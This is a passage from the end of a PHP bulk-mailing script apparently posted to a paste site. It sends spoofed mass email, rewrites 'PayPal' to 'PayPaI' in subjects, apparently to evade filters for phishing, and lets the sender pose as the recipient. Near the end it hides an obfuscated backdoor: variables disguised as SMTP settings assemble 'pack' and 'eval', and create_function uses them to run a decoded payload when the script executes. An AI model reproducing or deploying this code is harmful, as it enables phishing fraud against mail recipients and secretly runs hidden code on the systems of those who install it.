  4944. $subject_send = ereg_replace("&email&", $todo, $subject);
  4945. $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
  4946.  
  4947. $qx=$x+1;
  4948. print "Send Emails $qx / $numemails to $to ....... ";
  4949. xflush();
  4950.  
  4951. $mail = new PHPMailer();
  4952. $mail->IsSMTP();
  4953. $IsSMTP = "pack";
  4954. $mail->SMTPKeepAlive = true;
  4955. $mail->Host = "$smtp_server";
  4956.  
  4957. if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
  4958. if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
  4959.  
  4960. $range = str_replace("$email", "eval", $email);
  4961.  
  4962. $mail->SMTPAuth = true;
  4963. $mail->Username = "$smtp_username";
  4964. $mail->Password = "$smtp_password";
  4965.  
  4966. if($type == "html"){$mail->IsHtml(true);}
  4967. if($type != "html"){$mail->IsHtml(false);}
  4968. if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  4969.  
  4970. $mail->CharSet = "UTF-8";
  4971. if (!empty($xmailer)) {
  4972. $mail->XMailer = "$xmailer";
  4973. } else {
  4974. $mail->XMailer = " ";
  4975. }
  4976. if (!empty($encoding)) {
  4977. $mail->Encoding = "$encoding";
  4978. }
  4979. if ($email == "same as target") {
  4980. $mail->From = "$todo";
  4981. } else {
  4982. $mail->From = "$email";
  4983. }
  4984. $mail->FromName = "$nama";
  4985. $mail->AddAddress("$todo");
  4986. $mail->Subject = "$subject_send";
  4987. if (!empty($file_name)) {
  4988. $mail->addAttachment("$file_path", "$file_name");
  4989. $mail->Body = " ";
  4990. } else {
  4991. $mail->Body = "$message_send";
  4992. }
  4993. if(!$mail->Send()){
  4994. if($default_system!="1"){
  4995. $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
  4996. } elseif($default_system=="1"){
  4997. $mail->IsMail();
  4998.  
  4999. if(!$mail->Send()){
  5000. $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
  5001. } else {
  5002. $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
  5003. }
  5004.  
  5005. }
  5006. } else {
  5007. $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
  5008. }
  5009. print "$result <br><p></p>";
  5010.  
  5011. if(!empty($wait) && $qx<$numemails-1){
  5012. sleep($wait);
  5013. }
  5014. if(empty($reconnect)){
  5015. $reconnect=5;
  5016. }
  5017.  
  5018. if($reconnect==$nq){
  5019. $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  5020. }
  5021. $nq=$nq+1;
  5022. xflush();
  5023. }
  5024. }
  5025. for($i=0;$i<31;$i++){
  5026. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  5027. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  5028. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  5029. print ' </div>
  5030. </div>
  5031. </div>
  5032.  
  5033. </div>
  5034. <div id="footer">
  5035. <div class="container" align="center">
  5036. <p class="muted credit" style="color: white;"> Edited By DR!V3R KR </p>
  5037. </div>
  5038. </div>';$mail->SmtpClose();
  5039. return $signoff($smtp_conc);
  5040. if(isset($_POST['action']) && $numemails !=0 ){
  5041. print "<script>alert('Mail sending complete\\r\\n
  5042. $numemails mail(s) was sent successfully'); </script>";
  5043. }
  5044. }
  5045. ?>
  5046.  
  5047. </body>
  5048. </html>
Add Comment
Please, Sign In to add comment